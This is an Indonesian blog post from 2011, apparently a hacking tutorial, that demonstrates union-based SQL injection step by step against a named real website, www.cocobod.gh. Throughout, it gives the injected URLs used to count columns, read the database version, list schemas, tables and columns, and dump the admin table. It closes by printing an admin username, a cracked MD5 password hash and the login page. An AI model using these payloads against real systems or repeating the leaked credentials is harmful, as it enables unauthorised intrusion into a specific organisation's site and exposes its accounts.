Sabtu, 16 April 2011

POC Sql Injection on www.cocobod.gh

ebagai contoh kita mendapatkan target sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30
Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda ' di akhir URL, contohnya sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30'
Jika kita menemukan error, maka terdapat vulnerability di website tersebut, sebagai contoh:

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut.
Kita akan mengetahuinya sampai ada informasi "Unknown Column".
Lakukan pengecekan dengan menggunakan perintah "order by".
Kita akan mencoba dari 1....... tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst.
Kebetulah dalam target ini hanya terdapat 7 kolom dalam table yang ada di database,
Contohnya:

Langkah pengetesannya adalah
Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column

http://www.cocobod.gh/news_details.php?id=30 order by 8--  => Unknown column
Hal tersebut membuktikan bahwa tidak ada kolom ke 8 dalam table tersebut, jadi cuman ada 7 kolom.

Langkah selanjutnya adalah, mencari kolom yang dapat di akses!

Kita sudah mengetahui, jumlah kolom adalah 7, kita gunakan perintah "UNION SELECT number,of,columns--" untuk mengatahui kolom mana yang dapat di akses:
Code:



http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--

Anda akan menemukan seperti gambar berikut:


Binus 
Hacker Tutorial
Muncul 6, 2, 3 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.


Langkah selanjutnya, mencari informasi versi database


SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja "@@version", pada kolom dimana saja yang bisa dipakai.
Misalkan kolom "6" kita ganti dengan "@@version"



Code:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--

Binus 
Hacker Tutorial

Akan muncul versi database 5.1.39, ini berarti database bisa di inject :)

Mengetahui Database Name


Langsung ajah kita replace kolom yang tadi digunakan "6,2,3" dibagian mana saja, kita gunakan kolom "6", kita ganti dengan code berikut "group_concat(schema_name)" , dan jangan lupa tambahkan "from information_schema.schemata--" sesudah kolom terakhir.

Code:


http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_
concat(schema_name),7 from information_schema.schemata--
Binus 
Hacker Tutorial
Mengatahui Database Yang Dipakai
Langsung ajah ganti "group_concat(schema_name)" dengan "concat(database())" seperti contoh berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,
concat(database()),7 from information_schema.schemata--
Binus 
Hacker Tutorial
Selamat, anda telah mengetahui database yang dipakai saat ini adalah "cocobod_gh".
Mengetahui Nama Tabel

Langsung aja ganti "group_concat(table_name)" dan tambahkan "from information_schema.tables where table_schema=database()--" setelah kolom terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_
concat(table_name),7 from information_schema.tables where table_schema=database()--
Binus 
Hacker Tutorial
Mengatahui Nama Kolom

Untuk mengetahui nama kolom, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()--

Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_
concat(column_name),7 from information_schema.columns where table_schema=database()--
Binus 
Hacker Tutorial
Mengambil Informasi Yang Ada Di Dalam Kolom

Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database.
Eksekusi perintah berikut:

Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_
concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--
Exploit akan menjadi seperti berikut :
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_
concat(username,0x3a,password),7 from cocobod_gh.coc_admin--
Dari informasi di atas kita mendapatkan data: "comaster:a5d45a4bf4258664e521934f5b8c13d6" ,
Silakan check ke MD5 decrypter untuk mendecrypt password => http://rom-zone.alfahosting.org/index2.php?p=hashes paste MD5 password yang tadi yaitu: "a5d45a4bf4258664e521934f5b8c13d6", anda akan medapatkan result seperti dibawah:

comaster:a5d45a4bf4258664e521934f5b8c13d6
comaster:cocoadmin4682

username : comaster
password :
20coco!!
Selamat, anda sudah bisa login ke http://www.cocobod.gh/admin/ dengan user & password di atas

Tidak ada komentar:

Posting Komentar